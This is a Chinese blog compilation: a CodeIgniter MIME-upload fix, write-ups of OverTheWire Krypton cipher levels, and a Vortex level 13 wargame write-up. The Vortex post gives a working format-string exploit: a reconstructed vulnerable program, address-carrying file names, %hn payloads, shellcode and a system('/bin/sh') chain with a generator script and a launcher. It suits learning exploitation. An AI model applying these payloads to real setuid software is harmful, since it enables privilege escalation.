这段时间在做学校的微信公众平台,用的是CI框架,在上传文件的时候出现了一点问题。

需要上传的文件是一些音频,然后看了下CI的mimes.php,里面有的音频格式很少,比如需要上传的wma就没有。于是乎,我手动在mimes.php中添加:

'wma'   =>  'audio/x-ms-wma',

其中的mime是根据$_FILES输出得到的,但是在网上下了个wma的铃声来上传还是告诉我类型不允许。

试了好半天都不行,网上也搜不到任何有用的信息,无奈之下,去查看CI的do_upload()的源代码,输出调试,发现,CI在做类型验证的时候,通过了下面的代码获取了mime类型:

/* Fileinfo extension - most reliable method
 *
 * Unfortunately, prior to PHP 5.3 - it's only available as a PECL extension and the
 * more convenient FILEINFO_MIME_TYPE flag doesn't exist.
 */
if (function_exists('finfo_file'))
{
    $finfo = finfo_open(FILEINFO_MIME);
    if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
    {
        $mime = @finfo_file($finfo, $file['tmp_name']);
        finfo_close($finfo);
        /* According to the comments section of the PHP manual page,
         * it is possible that this function returns an empty string
         * for some files (e.g. if they don't exist in the magic MIME database)
         */
        if (is_string($mime) && preg_match($regexp, $mime, $matches))
        {
            $this->file_type = $matches[1];
            return;
        }
    }
}

然而,通过上面的代码获取到的mime类型不是audio/x-ms-wma,而是video/x-ms-asf,然后上网查了下,在这里似乎看到一点相关的东西,asf、wma、wmv文件格式一样,具体也不了解,也不知道这里类型判断错误是文件本身的原因还是本来就是区别不出来……

反正,既然找到了原因,将mimes.php中添加的内容改为:

'wma'   =>  array('audio/x-ms-wma', 'video/x-ms-wmv', 'video/x-ms-asf'),

虽然说问题算是解决了,但还是得说,给CI这mime类型跪了,敢不敢不要让人感觉这么碎蛋!

题目传送门在此

题目中英语漫漫长,就以吾等这英语水平,只能表示不明觉厉了。

最后大概总结出来,这题就是要选择明文攻击,然后HINT1也说了The 'random' generator has a limited number of bits, and is periodic,那这就好办了。

首先我们尝试明文:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

得到对应密文:

EICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXY

很明显可以看出是循环的,循环节长度为30。

然后尝试明文:

BBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

得到密文:

FJDUEHYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXY

发现只有前6个字母变了,那么看来应该是一位只会影响对应的一位,那么我们直接枚举每一位为A-Z的情况,分别加密,然后拿我们的加密了的password来对比,即可得到password的原文了。

程序如下:

import subprocess

ans = []
for i in xrange(26):
    fp = open('/tmp/kry/foo', 'w')
    fp.write(chr(i + ord('A')) * 30)
    fp.close()
    ret = subprocess.call(['/krypton/krypton6/encrypt6', '/tmp/kry/foo', '/tmp/kry/bar'])
    fp = open('/tmp/kry/bar', 'r')
    ans.append(fp.read())
    fp.close()
    
s = 'PNUKLYLWRQKGKBE'
plain = ''
for i in xrange(len(s)):
    for j in xrange(26):
        if s[i] == ans[j][i]:
            plain += chr(j + ord('A'))
            
print(plain)

至此,整个krypton得以解决,不得不说,krypton感觉就是入门级的题,没有什么难度。

题目传送门在此

这关还是维吉尼亚密码,给了我们三个加密文本,不过没有告诉我们长度,但是频率统计还是奏效。

于是乎,首先在这里分别提交三个加密文本,可以发现最可能的长度是3或者9,3个文本都满足这一特性。

然后用程序统计频率,尝试将最高频的字母当作e来进行解密:

def decode(s, key):
    ans = ''
    l = len(key)
    for k in xrange(len(s)):
        i = k / l
        j = k % l
        ans += chr((ord(s[i * l + j]) - ord(key[j]) + 26) % 26 + ord('a'))
    return ans
    
def search(base_s, deep, sec, key):
    if deep == sec:
        text = decode(base_s, key)
        if text.find('the') >= 0:
            print(text[0:20], key)
        return
    s = base_s[deep::sec]
    d = {}
    for c in s:
        if c in d:
            d[c] += 1
        else:
            d[c] = 1
    ans = sorted(d.items(), key=lambda d:d[1])
    low = ans[len(ans) - 1][1] - 3
    for one in ans:
        if one[1] >= low:
            search(base_s, deep + 1, sec, key + chr((ord(one[0]) - ord('E') + 26) % 26 + ord('A')))

其中我架设解密文本中一定含有the,以尽量减少人工选择量,然后low可以根据个人感觉来设定,只有出现次数不小于low的才会被考虑当作e。

首先尝试长度为3:

>>> search(s2, 0, 3, '')
('wsaoesamfiwcpedqched', 'KTC')
('wsvoenamaiwxpeyqcced', 'KTH')

很显然不太对,然后尝试长度为9,由于比较长,只选择一部分:

('whentsumeilgotdkcges', 'KEYLECQTD')
('whentsumailgotdkcces', 'KEYLECQTH')
('whentsumlilgotdkcnes', 'KEYLECQTW')
('whentsumrilgotdkctes', 'KEYLECQTQ')
('whentspmeilgotdfcges', 'KEYLECVTD')
('whentspmailgotdfcces', 'KEYLECVTH')
('whentspmlilgotdfcnes', 'KEYLECVTW')
('whentspmrilgotdfctes', 'KEYLECVTQ')
('whenthumeilgotskcges', 'KEYLENQTD')
('whenthumailgotskcces', 'KEYLENQTH')
('whenthumlilgotskcnes', 'KEYLENQTW')
('whenthumrilgotskctes', 'KEYLENQTQ')
('whenthpmeilgotsfcges', 'KEYLENVTD')
('whenthpmailgotsfcces', 'KEYLENVTH')
('whenthpmlilgotsfcnes', 'KEYLENVTW')
('whenthpmrilgotsfctes', 'KEYLENVTQ')
('wxeyjsumeibgzjdkcgei', 'KOYAOCQTD')
('wxeyjsumaibgzjdkccei', 'KOYAOCQTH')
('wxeyjsumlibgzjdkcnei', 'KOYAOCQTW')
('wxeyjsumribgzjdkctei', 'KOYAOCQTQ')
('wxeyjspmeibgzjdfcgei', 'KOYAOCVTD')
('wxeyjspmaibgzjdfccei', 'KOYAOCVTH')
('wxeyjspmlibgzjdfcnei', 'KOYAOCVTW')

其中的whenth部分看起来比较像when the,然后看对应的key,key似乎就应该是keylength。于是解密检查,确认密钥正确。

然后用此密钥,解密即可得到下一关的password。

题目传送门在此

这一关终于不想前几关那么水了,不过也不难。题目给了3个加密后文本用来破解,然后明确表示是频率分析,于是乎,就按照要求来吧。

首先找到频率表:

A

B

C

D

E

F

G

H

I

J

0.082

0.015

0.028

0.043

0.127

0.022

0.020

0.061

0.070

0.002

K

L

M

N

O

P

Q

R

S

T

0.008

0.040

0.024

0.067

0.075

0.019

0.001

0.060

0.063

0.091

U

V

W

X

Y

Z

0.028

0.010

0.023

0.001

0.020

0.001

字母可分为五组:

  • E:0.127

  • TAOINSHR:0.06~0.09

  • DL:0.04

  • CUMWFGYPB:0.015~0.023

  • VKJXQZ:小于0.01

最常见的两字母组合,依照出现次数递减的顺序排列:TH、HE、IN、ER、AN、RE、DE、ON、ES、ST、EN、AT、TO、NT、HA、ND、OU、EA、NG、AS、OR、TI、IS、ET、IT、AR、TE、SE、HI、OF。

最常见的三字母组合,依照出现次数递减的顺序排列:THE、ING、AND、HER、ERE、ENT、THA、NTH、WAS、ETH、FOR、DTH。

频率表准备好了然后就可以开工了,首先对给出的文本统计频率:

l = len(s)
for j in xrange(3):
    d = {}
    for i in xrange(l - j):
        c = s[i:i+j+1]
        if c in d:
            d[c] += 1
        else:
            d[c] = 1
    ans = sorted(d.items(), key=lambda d:d[1])
    fp.write('n'.join([str(one) for one in ans]) + 'n')

分别对三个文本统计之后,感觉单字母频率差不多,于是三个放到一起又统计了一遍,按照三个一起的统计结果来做。

首先看最高的几个三字母:

('JDQ', 15)
('CBG', 15)
('JSN', 16)
('CGE', 16)
('SNS', 19)
('DCU', 19)
('DSN', 22)
('SQN', 23)
('QGW', 27)
('JDS', 61)

JDS明显高出其它很多,似乎就是the,然后又看到SNS,那基本就肯定JDS是the、SNS是ere了。

然后QGW我首先猜测是ing,但替换了一下感觉不太对劲,然后SQN对应eir似乎也不太说的过去,于是猜测QGW对应and,这样SQN对应ear也似乎稍微好点。

然后查看双字母:

('QG', 46)
('JS', 47)
('UJ', 47)
('SQ', 48)
('SW', 52)
('DQ', 52)
('CG', 53)
('QN', 54)
('NS', 54)
('SU', 63)
('SN', 68)
('DS', 83)
('JD', 96)

由SU、UJ感觉U是s。

接着我在文本中发现了CnsteadBXthe,感觉就是instead of the了。

这样,观察三字母,CGE就应该是ing了。

查看单字母:

('W', 129)d
('V', 130)
('Z', 132)
('D', 210)h
('C', 227)i
('G', 227)n
('N', 240)r
('B', 246)o
('U', 257)s
('J', 301)t
('Q', 340)a
('S', 456)e

对比单字母频率表会发现,最高频的字母ETAOINSHR正好对应上了这边的频率,紧接着的DL中,L应该就是对应着VZ当中的一个了。

在三字母和双字母中查找V和Z,发现似乎只有在双字母的中等频率中能见到他们,如下:

('ZS', 24)
('VQ', 24)
('UQ', 24)
('NJ', 24)
('ZB', 25)
('ZQ', 25)
('QV', 25)

首先尝试将Z替换成l,然后查看替换后的文本,感觉很多地方似乎看起来不太像个单词了,于是乎改成将V替换成l。

查看第二个文本的开头发现althoMghnoattendanZereZordsfortheYeriods,就应该是although no attendance records for the,带回去看频率也挺符合。

这时候,文本基本已经解密的差不多了,但由于本人英语太烂,实在不想看了,于是乎,将第二个文本的开头(although no attendance records for theYeriodsur)拿到搜索引擎中一搜,就发现是关于莎士比亚的一段话,于是得以解决~~~

对应表如下(密文 -> 明文):

[('A', 'b'), ('B', 'o'), ('C', 'i'), ('D', 'h'), ('E', 'g'), ('F', 'k'), ('G', 'n'), ('H', 'q'), ('I', 'v'), ('J', 't'), ('K', 'w'), ('L', 'y'), ('M', 'u'), ('N', 'r'), ('O', 'x'), ('P', 'z'), ('Q', 'a'), ('R', 'j'), ('S', 'e'), ('T', 'm'), ('U', 's'), ('V', 'l'), ('W', 'd'), ('X', 'f'), ('Y', 'p'), ('Z', 'c')]

然后便可以解得密码~~~

不得不说,这关简直太符合频率分析,按照频率来,一猜一个准~~~

题目传送门在此

这一关给出的是一个维吉尼亚密码,本来应该不是这么好解的,但是,由于题目README告诉了我们密钥长度为6,同时又告诉我们频率分析奏效,那么这题就变成了一道大水题。

首先我们按照长度分组,分别做频率统计,可以写个程序来实现统计,但是发现了这个网站,提交上去它会自动帮我们做统计。

然后假设频率最高的字母是e,这样我们惊奇的发现,竟然直接就得到了正确答案,好吧,只能说对这题无力吐槽。

不想说什么了,这题竟然卡了我这么久,简直就是无力吐槽。

题目在此

这题就是给出凯撒加密的字符串让解原串。很轻松就能解得原串。

s = 'OMQEMDUEQMEK'
for i in range(26):
    print(i, ''.join([chr(ord('A') + (ord(c) - ord('A') + i) % 26) for c in s]))

找到原串为CAESARISEASY。

结果我试密码的时候就试了easy、EASY、caesariseasy,然后都未遂,然后又一直觉得那个encrypt是有用的,要利用找到的这个原串去通过encrypt找到密码,结果就一直卡住了。。。

哎,说多了都是泪T_T。

这一关题目在此

不得不说,这一关也是大水题,明确告诉我们是rotation了,本来就试不了一下就OK了,然后服务器上README中竟然还写It is 'encrypted' using a simple rotation called ROT13。这下就连试都不用了,知道得到答案。

s = 'YRIRY GJB CNFFJBEQ EBGGRA'
ans = ''
for c in s:
    if c == ' ':
        ans += c
    else:
        ans += chr((ord(c) - ord('A') + 13) % 26 + ord('A'))

print ans

Vortex突然变身解密题,直接导致我卡死,实在无奈,完全下手不能 ╮(╯_╰)╭ 。

于是乎,决定先做下Krypton试试看,Level 0题目在此,题目不能更简单,直接base64解码完事。

➜  ~  base64 -D -
S1JZUFRPTklTR1JFQVQ=
KRYPTONISGREAT%

但愿这次的Krypton征途能比Vortex顺利

发现两个可以不错的跟解密有关的网站,特此mark一下!

http://www.richkni.co.uk/php/crypta/freq.php

http://www.simonsingh.net/The_Black_Chamber/chamberguide.html

这两个网站能提供一些解密的建议,比如频率统计神马的,甚至对于某些简单的可能直接就解密了。

http://smurfoncrack.com/pygenere/index.php

这个网站是专门破解Vigenère密码的,算法大致就是首先通过右移N位后字母的重复率来判断密钥长度,按照字母频率与标准频率的差的平方和来决定加密时的平移量。特在GitHub上存了一份该算法的代码,以备使用,传送门在此

http://www.practicalcryptography.com

这个网站上面也有不少加解密的参考资料。

由于要当码农,已经好几天没有时间做vortex了,现在刚有了点时间,回来继续奋战,结果真是被虐的一塌糊涂。

原题参见这里

首先还是逆向,得到仿写的程序如下:

char *allowed = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%.$x0A";

void vuln()
{
    int size = 0x14;
    char *s = malloc(size);
    fgets(s, size, stdin);
    for (int i = 0; i <= 0x13; ++i) {
        if (!strchr(allowed, s[i])) {
            exit(1);
        }
    }
    printf(s);
    free(s);
}

int main(int argc, char *argv[])
{
    if (argc != 0) {
        exit(1);
    }
    extern char **environ;
    for (char **p = environ; *p; ++p) {
        for (char *s = p; *s; ++s) {
            *s = 0;
        }
    }
    for (char **p = argv; *p; ++p) {
        for (char *s = p; *s; ++s) {
            *s = 0;
        }
    }
    vuln();
    return 0;
}

看到这个程序,真的是不得不说,这也太狠了点吧,清空了参数和环境变量,然后只给了19个字符的输入空间,这19个字符的取值范围还被限定了,要通过这19个字符来控制程序,还是不可运行的栈,这真是shellcode也不止这点长度了。反正如果就我个人看到的第一感而言,这程序保护的简直无懈可击。

这个程序想来应该很明确是通过printf的格式化字符串溢出攻击,但通过这19个字符我们应该使程序跳到哪里去却是一个巨大的问题。

仔细观察程序,我们会发现,我们可以跳转到char *s = malloc(size)这一句那里,然后在跳转之前,我们先修改好size,这样,程序就会再次运行vuln,为我们开辟出一块更大的空间,突破了长度的限制。然后,由于在strchr的检查循环中,固定是i <= 0x13而不是i < size,这样,我们就可以在20个字符后面接上非allowed中的字符了,看起来似乎柳暗花明了。

然而,printf的格式化字符串溢出,需要在栈中某个地方存储修改的目标地址,可是argv和env全都被清空了,如何将地址传递进来成了最大的问题,迈不出这第一步,一切想法都是浮云。

在纠结了N久之后,终于发现,除了argv和env,其实还有一个东西能把数据传进去,只是一直被忽略了,那就是在env后面,还存储了一份文件名,而linux下,文件名几乎可以为任意字符。这样,我们就可以通过文件名来携带我们需要的不可见字符了。

首先在文件名后加上16个0xff,gdb后发现,为了对齐,需要在最后再加3个字符。然后vuln的栈桢ebp为0xffffde38,文件名的第一个0xffffffff地址为0xffffdfe4,可以计算出,printf的时候,%117$对应着这个0xffffffff,我们也可以通过运行程序后输入%117$8x来测试。

然后,查看到我们需要跳转到的目标地址为0x08048551,而printf本身的返回地址为0x080485d7,那么为了节省格式化字符串的长度,我们只需要能修改最后一个字节即可,但是由于最少为%hn,即我们需要修改最后两个字节。

首先修改运行程序名:

cp ./vortex13 `python -c 'print "vortex" + "x0cxdexffxffx28xdexffxff" + "a" * 11'`

其中0xffffde0c的位置上存储着printf的返回地址,0xffffde28的位置上存储着size。

这样想要修改返回地址,我们需要输入%34129x%117$hn,修改size,我们需要输入%118$n,这样最终得到输入字符串为:

%34129x%117$hn%118$n

然而,数完长度之后,瞬间有种要崩溃的即视感,竟然不多不少,正好20个字符,超出限制的19个字符一个字符,而这个长度已经极限了,那么也就是说,我们这个方案告吹。

再仔细观察fgets(s, size, stdin)对应的汇编代码:

   0x804855f <vuln+27>:	mov    0x804a030,%eax
   0x8048564 <vuln+32>:	mov    %eax,%edx
   0x8048566 <vuln+34>:	mov    -0x10(%ebp),%eax
   0x8048569 <vuln+37>:	mov    %edx,0x8(%esp)
   0x804856d <vuln+41>:	mov    %eax,0x4(%esp)
   0x8048571 <vuln+45>:	mov    -0xc(%ebp),%eax
   0x8048574 <vuln+48>:	mov    %eax,(%esp)
   0x8048577 <vuln+51>:	call   0x8048430 <fgets@plt>

我们只要跳到0x804856d处,fgets的长度限制就会变,至于变成多少,就要看跳转过来时eax的状况了,而实际情况中,这个时候eax的值不小。但是这样我们确实把fgets的size参数改掉了,但同时,我们也丢失了fgets的第三个参数stream,但仔细观察程序+gdb,我们会惊喜的发现,后面的函数都没有用到第三个参数的位置,那么也就是说,只要我们不修改,第三个参数应该和上一次fgets的时候一样,这正如我们所愿。

于是乎,通过以下输入:

%34157x%117$hn
%34129x%117$hn%118$n

我们完全控制了我们可以输入的字符长度。

由于栈不可运行,我们将shellcode通过第三次输入,放到堆中,然后跳转执行即可。

通过gdb,得到第一次malloc分配出来的地址为0x0804b008,第二次为0x0804b020,于是得到输入如下:

%34157x%117$hn
%34129x%117$hn%118$n
%45108x%117$hnaaaaaa{shellcode}

其中,45108=0xb034,而shellcode的起始地址为0x0804b034,运行:

cp /vortex/vortex13 `python -c 'print "/tmp/vortex" + "x0cxdexffxffx28xdexffxff" + "a" * 11'`
./generate.py > payload
cat payload | ./startup

generate.py:

#!/usr/bin/env python

shellcode = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"
print('%34157x%117$hn')
print('%34129x%117$hn%118$n')
print('%45108x%117$hn' + 'aaaaaa' + shellcode)

startup.c:

#include <unistd.h>

int main(int argc, char *argv[])
{
    char *arg[] = {NULL};
    char *env[] = {NULL};
    execve("/tmp/vortex""x0cxdexffxffx28xdexffxff""aaa", arg, env);
    return 0;
}

然而,运行后,结果并不如所愿,竟然崩溃了,最后无奈的发现,堆也是不可运行的。

于是乎,我们采用和上关一样的方式,调用system("/bin/sh"),system地址为0xf7e67280,利用输入传入字符串/bin/sh,得到payload如下:

%34157x%117$hn
%29312x%117$hn%34150x%118$hn%47194x%119$hn%22468x%120$hn/bin/sh
cp /vortex/vortex13 `python -c 'print "/tmp/vortex" + "x0cxdexffxffx0exdexffxffx14xdexffxffx16xdexffxffaaa"'`

startup.c:

#include <unistd.h>

int main(int argc, char *argv[])
{
    char *arg[] = {NULL};
    char *env[] = {NULL};
    execve("/tmp/vortex""x0cxdexffxffx0exdexffxffx14xdexffxffx16xdexffxff""aaa", arg, env);
    return 0;
}

这样,运行startup,输入payload,我们成功拿到shell。然而,不幸再次降临,我们拿到的shell是没有权限的,稍微一想便会发现,由于我们的cp命令,文件已经变了,权限没了,一切都白瞎。

思前想后,想用链接,然而,创建硬链接会得到如下错误:

ln: failed to create hard link `/tmp/vortexf336377377 16336377377 24336377377 26336377377aaa' => `/vortex/vortex13': Invalid cross-device link

那就只能创建软链接了(不过软链接似乎在某些情况下,gdb进去会发现运行程序名还是/vortex/vortex13),反正至少用startup调用的时候不会,这样,我们就成功拿到shell。

本题虽然解决的不是很满意,但在被虐了N久之后,至少勉强也算过了。